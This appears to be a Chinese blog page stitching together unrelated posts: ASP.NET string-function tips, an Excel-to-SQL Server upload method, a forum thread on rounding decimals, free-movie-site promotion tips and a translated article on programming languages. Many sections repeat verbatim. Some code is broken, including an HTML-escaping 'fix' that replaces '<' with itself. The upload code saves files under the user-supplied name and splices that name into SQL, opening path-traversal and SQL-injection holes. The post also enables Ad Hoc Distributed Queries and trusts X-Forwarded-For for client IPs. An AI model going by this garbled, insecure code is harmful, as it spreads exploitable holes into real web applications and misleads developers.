3、 变量.ToString() 字符型转换 转为字符串 12345.ToString("n"); //生成 12,345.00 12345.ToString("C"); //生成 ¥12,345.00 12345.ToString("e"); //生成 1.234500e+004 12345.ToString("f4"); //生成 12345.0000 12345.ToString("x"); //生成 3039 (16进制) 12345.ToString("p"); //生成 1,234,500.00%
4、变量.Length 数字型 取字串长度: 如: string str="中国"; int Len = str.Length ; //Len是自定义变量, str是求测的字串的变量名
5、System.Text.Encoding.Default.GetBytes(变量) 字码转换 转为比特码 如:byte[] bytStr = System.Text.Encoding.Default.GetBytes(str); 然后可得到比特长度: len = bytStr.Length;
6、System.Text.StringBuilder("") 字符串相加,(+号是不是也一样?) 如:System.Text.StringBuilder sb = new System.Text.StringBuilder(""); sb.Append("中华"); sb.Append("人民"); sb.Append("共和国");
7、变量.Substring(参数1,参数2); 截取字串的一部分,参数1为左起始位数,参数2为截取几位。 如:string s1 = str.Substring(0,2);
8、String user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); 取远程用户IP地址
9、穿过代理服务器取远程用户真实IP地址: if(Request.ServerVariables["HTTP_VIA"]!=null){ string user_IP=Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString(); }else{ string user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); }
10、 Session["变量"]; 存取Session值; 如,赋值: Session["username"]="小布什";
取值: Object objName=Session["username"]; String strName=objName.ToString(); 清空: Session.RemoveAll();
11、String str=Request.QueryString["变量"]; 用超链接传送变量。 如在任一页中建超链接:<'a href="Edit.aspx?fbid="23">点击<'/'a> 在Edit.aspx页中取值:String str=Request.QueryString["fdid"];
12、DOC对象.CreateElement("新建节点名"); 创建XML文档新节点
13、父节点.AppendChild(子节点); 将新建的子节点加到XML文档父节点下
14、 父节点.RemoveChild(节点); 删除节点
15、Response Response.Write("字串"); Response.Write(变量); 向页面输出。
Response.Redirect("URL地址"); 跳转到URL指定的页面
16、char.IsWhiteSpce(字串变量,位数)——逻辑型 查指定位置是否空字符; 如: string str="中国 人民"; Response.Write(char.IsWhiteSpace(str,2)); //结果为:True, 第一个字符是0位,2是第三个字符。
17、char.IsPunctuation('字符') --逻辑型 查字符是否是标点符号 如:Response.Write(char.IsPunctuation('A')); //返回:False
18、(int)'字符' 把字符转为数字,查代码点,注意是单引号。 如: Response.Write((int)'中'); //结果为中字的代码:20013
19、(char)代码 把数字转为字符,查代码代表的字符。 如: Response.Write((char)22269); //返回“国”字。
20、 Trim() 清除字串前后空格
21 、字串变量.Replace("子字串","替换为") 字串替换 如: string str="中国"; str=str.Replace("国","央"); //将国字换为央字 Response.Write(str); //输出结果为“中央”
再如:(这个非常实用)
string str="这是<'script>脚本"; str =str.Replace("<","<"); //将左尖括号替换为<> 与 < 与 (或换为<,但估计经XML存诸后,再提出仍会还原) Response.Write(str); //显示为:“这是<'script>脚本”
如果不替换,<'script>将不显示,如果是一段脚本,将运行;而替换后,脚本将不运行。 这段代码的价值在于:你可以让一个文本中的所有HTML标签失效,全部显示出来,保护你的具有交互性的站点。 具体实现:将你的表单提交按钮脚本加上下面代码: string strSubmit=label1.Text; //label1是你让用户提交数据的控件ID。 strSubmit=strSubmit.Replace("<","<"); 然后保存或输出strSubmit。 用此方法还可以简单实现UBB代码。
22、Math.Max(i,j) 取i与j中的最大值 如 int x=Math.Max(5,10); // x将取值 10
加一点吧 23、字串对比...... 加一点吧
23、字串对比一般都用: if(str1==str2){ } , 但还有别的方法:
(1)、 string str1; str2 //语法: str1.EndsWith(str2); __检测字串str1是否以字串str2结尾,返回布尔值.如: if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的"); }
(2)、 //语法:str1.Equals(str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
(3)、 //语法 Equals(str1,str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
24、IndexOf() 、LastIndexOf() 查找字串中指定字符或字串首次(最后一次)出现的位置,返回索引值,如: str1.IndexOf("字"); //查找“字”在str1中的索引值(位置) str1.IndexOf("字串");//查找“字串”的第一个字符在str1中的索引值(位置) str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找“字串”的第一个字符在str1中的索引值(位置)
25、Insert() 在字串中指定索引位插入指定字符。如: str1.Insert(1,"字");在str1的第二个字符处插入“字”,如果str1="中国",插入后为“中字国”;
26、PadLeft()、PadRight() 在字串左(或右)加空格或指定char字符,使字串达到指定长度,如: <% string str1="中国人"; str1=str1.PadLeft(10,'1'); //无第二参数为加空格 Response.Write(str1); //结果为“1111111中国人” , 字串长为10 %>
27、Remove() 从指定位置开始删除指定数的字符 字串对比一般都用: if(str1==str2){ } , 但还有别的方法:
关于EXCEL数据上传到SQL SERVER中的简单方法!
Excel数据上传到SQL SERVER中的方法需要注意到三点!
注意点一:要把EXCEL数据上传到SQL SERVER中必须提前把EXCEL传到服务器上.
做法: 在ASP.NET环境中,添加一个FileUpload上传控件
后台代码的E.X: if (FileUpload1.HasFile) //如果用户确实选择了上传控件的浏览按钮,浏览文件成功. { this.FileUpload1.SaveAs("E:\\Temp\\" + FileUpload1.FileName); //保存到服务器的目录,需要根据服务器具体情况修改FileUpload1.FileName会自动获取上传文件名.
} //OK成功上传到服务器的E:\Temp目录下(自己写的时候注意错误处理,和异常处理啊,很重要的).
注意点二: SQL SERVER 服务器中的表的结构(字段)要与要上传来的EXCEL格式顺序等相同.
保存到服务器的关键代码如下E.X(SQL 语句):
insert into EmployeesCheck select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'Excel 8.0;hdr=yes;database=E:\\Temp\\" + FileUpload1.FileName + "',Teenie$)
// EmployeesCheck 是我在SQL SERVER 中的数据接受表,hdr=yes 表示EXCEL内容第一行作为内容字段而不是字段列 Teenie是我EXCEL的当前页的名称(注意这个一定要写对,否则的话会出错,另外要在名字后面家$这个东西) 解除SQL阻止:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 因为SQL2005默认是没有开启'Ad Hoc Distributed Queries' 组件,开启方法如下
EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'Ad Hoc Distributed Queries', 1 GO RECONFIGURE GO
哈哈!就说到这些把 这个比较简单 能对付一般的应用了,因为一般用EXCEL数据的都是公司内部数据处理,所以完全够应付了,但是如果是商业化或者专业的网站让任何普通用户上传EXCEL的话就不大合适了,毕竟你不能强烈要求所有用户EXCEL的表的数据页的名字都叫Teenie 呵呵,网上还有一种很麻烦的SQL语句(都是参数的形式)可以解决这个问题,呵呵 大家无妨去参考一下!
【处理这类问题,重点的不是上传和实现技术,而是错误处理,任何失误都会导致数据遭到XX呵呵】
window.google_render_ad();
注意点一:要把EXCEL数据上传到SQL SERVER中必须提前把EXCEL传到服务器上.
做法: 在ASP.NET环境中,添加一个FileUpload上传控件
后台代码的E.X: if (FileUpload1.HasFile) //如果用户确实选择了上传控件的浏览按钮,浏览文件成功. { this.FileUpload1.SaveAs("E:\\Temp\\" + FileUpload1.FileName); //保存到服务器的目录,需要根据服务器具体情况修改FileUpload1.FileName会自动获取上传文件名.
} //OK成功上传到服务器的E:\Temp目录下(自己写的时候注意错误处理,和异常处理啊,很重要的).
注意点二: SQL SERVER 服务器中的表的结构(字段)要与要上传来的EXCEL格式顺序等相同.
保存到服务器的关键代码如下E.X(SQL 语句):
insert into EmployeesCheck select * from OPENROWSET('MICROSOFT.JET.OLEDB.4.0' ,'Excel 8.0;hdr=yes;database=E:\\Temp\\" + FileUpload1.FileName + "',Teenie$)
// EmployeesCheck 是我在SQL SERVER 中的数据接受表,hdr=yes 表示EXCEL内容第一行作为内容字段而不是字段列 Teenie是我EXCEL的当前页的名称(注意这个一定要写对,否则的话会出错,另外要在名字后面家$这个东西) 解除SQL阻止:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 因为SQL2005默认是没有开启'Ad Hoc Distributed Queries' 组件,开启方法如下
EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'Ad Hoc Distributed Queries', 1 GO RECONFIGURE GO
哈哈!就说到这些把 这个比较简单 能对付一般的应用了,因为一般用EXCEL数据的都是公司内部数据处理,所以完全够应付了,但是如果是商业化或者专业的网站让任何普通用户上传EXCEL的话就不大合适了,毕竟你不能强烈要求所有用户EXCEL的表的数据页的名字都叫Teenie 呵呵,网上还有一种很麻烦的SQL语句(都是参数的形式)可以解决这个问题,呵呵 大家无妨去参考一下!
【处理这类问题,重点的不是上传和实现技术,而是错误处理,任何失误都会导致数据遭到XX呵呵】
window.google_render_ad();
ASP.NET如何保留两位小数点
问题:要在Datagrid中显示时间为2.08小时,我在SQL中这样处理:SELECT 125 / 60.00 AS float但在Datagrid中显示为2.083333,请问如何写代码只保留两位小数点2.08?______________________________________________________________________________________________答1:float(7,2)2表示保留两位小数______________________________________________________________________________________________答2:float(8,2)?在哪写呢? ______________________________________________________________________________________________答3:在datagrid的属性生成器中,列,数据格式设置表达式加上:{0:f2}______________________________________________________________________________________________答4:1.在sql语句中:select convert(dt,numeric(5,2)) from
2.在datagrid的绑定列的数据格式一栏添加:{0:f2}______________________________________________________________________________________________答5:任选其一______________________________________________________________________________________________答6:是这样写吗“select convert(125/60.00,numeric(5,2)) from ”?这样写运行时出错啦...
______________________________________________________________________________________________答7:select round(125/60.00,2)______________________________________________________________________________________________答8:select cast(125/60.00 as numeric(5,2))______________________________________________________________________________________________答9:Thank you.请问使用round和cast有何区别?______________________________________________________________________________________________答10:把数据库中的相应字段设置为decimal,然后把他的小数位改成2______________________________________________________________________________________________答11:在Datagrid的OnItemDataBound事件中写e.item.cell[0].text = float(7,2).Tostring()就在dg中第0列中转换并显示出来了
______________________________________________________________________________________________答12:方法确定很多1、设计字段时类型为numeric,小数位设置成22、在sql语句中转换:select convert(字段,numeric(18,2)) AS 字段Ex from 表 如果是datagrid绑定列,则
3、在datagrid的绑定列的属性中这样使用
2.在datagrid的绑定列的数据格式一栏添加:{0:f2}______________________________________________________________________________________________答5:任选其一______________________________________________________________________________________________答6:是这样写吗“select convert(125/60.00,numeric(5,2)) from ”?这样写运行时出错啦...
______________________________________________________________________________________________答7:select round(125/60.00,2)______________________________________________________________________________________________答8:select cast(125/60.00 as numeric(5,2))______________________________________________________________________________________________答9:Thank you.请问使用round和cast有何区别?______________________________________________________________________________________________答10:把数据库中的相应字段设置为decimal,然后把他的小数位改成2______________________________________________________________________________________________答11:在Datagrid的OnItemDataBound事件中写e.item.cell[0].text = float(7,2).Tostring()就在dg中第0列中转换并显示出来了
______________________________________________________________________________________________答12:方法确定很多1、设计字段时类型为numeric,小数位设置成22、在sql语句中转换:select convert(字段,numeric(18,2)) AS 字段Ex from 表 如果是datagrid绑定列
3、在datagrid的绑定列的属性中这样使用
新站从0开始推广赚钱
1.要掌握好现在比较流行的电影,利用百度或者GG做一些SEO优化如果做的好的话 效果是非常明显的
2.如果你是刚刚做免费电影的话 建议你看一下推广网站的老方法
3.多上一些大点的站长站发一些小贴子经验知识或者相关的文章不要他直接的宣传你的网站 这样会被K掉。
4.多多跟其他网址站做连接 前期做的时候可以用广告位换他的加精 或者推荐 这样流量会来的快一些!
5.注重内容 因为网站的灵魂就是内容 如果你内容稀少的话 你可以换位思考一下 假如你是看电影的网民。
首先
1: 域名要选择关键词相关的如:妻子的诱惑(www।qzdyh।com)这类就密切相关。 稳定高性能空间(不要隔三差五的就打不开或者速度很慢的那种) 程序(你可以选择电影程序、马克思或者别的)
2:添加多点更新要快,尽你自己能力得添加.越快越好.
3:搞完上边得了.我就随便去几个比较大的论坛、百度知道、贴吧,或者去百度搜索相关关键词留下相关得链接.有了基本得400-500ip得流量.保持.10天左右.你在外边做推广时.来了基本得流量.你觉得难不.不难吧.简单吧.也很省事.对不. ?
4:400得ip用户.难道就会点击一次广告? 不可能吧? 这就是为什么在每一个页里放置不同得ip联盟广告得原因.要做的.来访者每点一次广告.都是不同得ip联盟广告.假如.一个来访者在http://www.qzdyh.com/了10次广告.那ip联盟是不是要返回10次ip给你?如果真得这样计算.那是不是200个推广来访ip 点10次.那就是点了2000次.那ip联盟是不要还你2000个ip? 那这ip联盟来得2000个ip.难道也不点一下广告?看到这里你懂点点意义得存在了没?
5:你说得这些我都做了.为什么我一停这些ip联盟.流量也是没上过呢..? 呵呵.这就是窍门了.第一.要保持自己得站点干净.就算你要放ip联盟得广告.也要保持干净.最起码不能放飘窗.这是很讨厌.当然这也是很有效果..第二.要保持.电影得更新速度.而不是电影内容多不多.而是速度.要绝对得高速度更新电影.
2.如果你是刚刚做免费电影的话 建议你看一下推广网站的老方法
3.多上一些大点的站长站发一些小贴子经验知识或者相关的文章不要他直接的宣传你的网站 这样会被K掉。
4.多多跟其他网址站做连接 前期做的时候可以用广告位换他的加精 或者推荐 这样流量会来的快一些!
5.注重内容 因为网站的灵魂就是内容 如果你内容稀少的话 你可以换位思考一下 假如你是看电影的网民。
首先
1: 域名要选择关键词相关的如:妻子的诱惑(www।qzdyh।com)这类就密切相关。 稳定高性能空间(不要隔三差五的就打不开或者速度很慢的那种) 程序(你可以选择电影程序、马克思或者别的)
2:添加多点更新要快,尽你自己能力得添加.越快越好.
3:搞完上边得了.我就随便去几个比较大的论坛、百度知道、贴吧,或者去百度搜索相关关键词留下相关得链接.有了基本得400-500ip得流量.保持.10天左右.你在外边做推广时.来了基本得流量.你觉得难不.不难吧.简单吧.也很省事.对不. ?
4:400得ip用户.难道就会点击一次广告? 不可能吧? 这就是为什么在每一个页里放置不同得ip联盟广告得原因.要做的.来访者每点一次广告.都是不同得ip联盟广告.假如.一个来访者在http://www.qzdyh.com/了10次广告.那ip联盟是不是要返回10次ip给你?如果真得这样计算.那是不是200个推广来访ip 点10次.那就是点了2000次.那ip联盟是不要还你2000个ip? 那这ip联盟来得2000个ip.难道也不点一下广告?看到这里你懂点点意义得存在了没?
5:你说得这些我都做了.为什么我一停这些ip联盟.流量也是没上过呢..? 呵呵.这就是窍门了.第一.要保持自己得站点干净.就算你要放ip联盟得广告.也要保持干净.最起码不能放飘窗.这是很讨厌.当然这也是很有效果..第二.要保持.电影得更新速度.而不是电影内容多不多.而是速度.要绝对得高速度更新电影.
国际:程序员,如何选择合适的程序语言
【CSDN 2月26日编译】由于个人专业缘故,我一直在寻找最好的工具。大家都知道,由于在软件多种多样的原因,我们在开发过程中,需要选择各式各样的程序语言进行工作。也正因如此,我经常被软件开发的初学者问及:“究竟应该学习哪种语言?”。但是当我反问他们想要做些什么的时候,他们却变得一脸茫然。原来这些人一直认为,一种最佳语言可以解决所有的问题。每个人都知道,这个世界上并不存在万能的“银弹”,但是,我却可以为您推荐几款在专业领域中更适合的,适用性更广的程序语言。
鉴于此,我列出了如下的一个清单:
企业软件开发——JAVA作为此领域的领头羊,经常被人们使用在企业级应用软件的开发中。Windows开发——C# 可以应用与任何的Windows开发,这当然也包括了对Windows Office套件接口的各类开发。
快速WEB原型和WordPress全系列——PHP 在建立网页所需的快速原型时功不可没。或许它不是一个长期的解决方案,也不是大型开发的最佳选择,但它却是WordPress相关的首选。
WEB架构开发——Python 很快地以PHP继承人的身份被大家所接受,当下很多流行的网络应用程序都广泛使用Python。Python语言将会作为一种如谷歌的AppEngine般自然支持服务而继续存在。
一般WEB开发——HTML, CSS 和Javascript 这三种工具相信是在你进行web开发的工具箱中必不可少的。如果您尝试继续符合你所应遵循的标准,那么首先,你需要了解XHTML标准语言。
数据整合——XML 和JSON 现在仍是在网络开发和行政开发中最主流的数据整合工具。您可以在XML语言的帮助下,获得更多的关联格式和其他商业格式标准。
数据库——SQL 对绝大多数的应用软件都十分重要。如果你能熟练掌握SQL标准语言,那么,市面上所有的数据库产品,包括当下最流行的Microsoft SQLServer, Oracle, DB2, MySQL।对你来说都不在话下了。
工具箱——每个程序员都应该掌握多种程序语言。因此,脚本工具就促使您成提高工作效率的工具箱的一部分。比如,Cygwin是一个可以安装在Windows 的Unix外壳,我个人十分依赖它。Unix脚本在进行批处理的文件和与文件系统交互时表现的也是非常出色的。再如,Perl是另一种用于Web开发的语言,在处理文件和文字处理时表现不俗。
我知道我忽略了不少工具和语言,但是这只是做个抛砖引玉。如果你真的希望能拓展思路,并从事人工智能或是LISP编程,或是使用Prolog语言中做一些逻辑编程,再或是您能够勇敢面对ML标准——它总能在软件开发过程中帮你学习新事物和新概念。那就需要自己感悟自己寻找最感兴趣的语言。(译/crys)
鉴于此,我列出了如下的一个清单:
企业软件开发——JAVA作为此领域的领头羊,经常被人们使用在企业级应用软件的开发中。Windows开发——C# 可以应用与任何的Windows开发,这当然也包括了对Windows Office套件接口的各类开发。
快速WEB原型和WordPress全系列——PHP 在建立网页所需的快速原型时功不可没。或许它不是一个长期的解决方案,也不是大型开发的最佳选择,但它却是WordPress相关的首选。
WEB架构开发——Python 很快地以PHP继承人的身份被大家所接受,当下很多流行的网络应用程序都广泛使用Python。Python语言将会作为一种如谷歌的AppEngine般自然支持服务而继续存在。
一般WEB开发——HTML, CSS 和Javascript 这三种工具相信是在你进行web开发的工具箱中必不可少的。如果您尝试继续符合你所应遵循的标准,那么首先,你需要了解XHTML标准语言。
数据整合——XML 和JSON 现在仍是在网络开发和行政开发中最主流的数据整合工具。您可以在XML语言的帮助下,获得更多的关联格式和其他商业格式标准。
数据库——SQL 对绝大多数的应用软件都十分重要。如果你能熟练掌握SQL标准语言,那么,市面上所有的数据库产品,包括当下最流行的Microsoft SQLServer, Oracle, DB2, MySQL।对你来说都不在话下了。
工具箱——每个程序员都应该掌握多种程序语言。因此,脚本工具就促使您成提高工作效率的工具箱的一部分。比如,Cygwin是一个可以安装在Windows 的Unix外壳,我个人十分依赖它。Unix脚本在进行批处理的文件和与文件系统交互时表现的也是非常出色的。再如,Perl是另一种用于Web开发的语言,在处理文件和文字处理时表现不俗。
我知道我忽略了不少工具和语言,但是这只是做个抛砖引玉。如果你真的希望能拓展思路,并从事人工智能或是LISP编程,或是使用Prolog语言中做一些逻辑编程,再或是您能够勇敢面对ML标准——它总能在软件开发过程中帮你学习新事物和新概念。那就需要自己感悟自己寻找最感兴趣的语言。(译/crys)
订阅:
博文 (Atom)
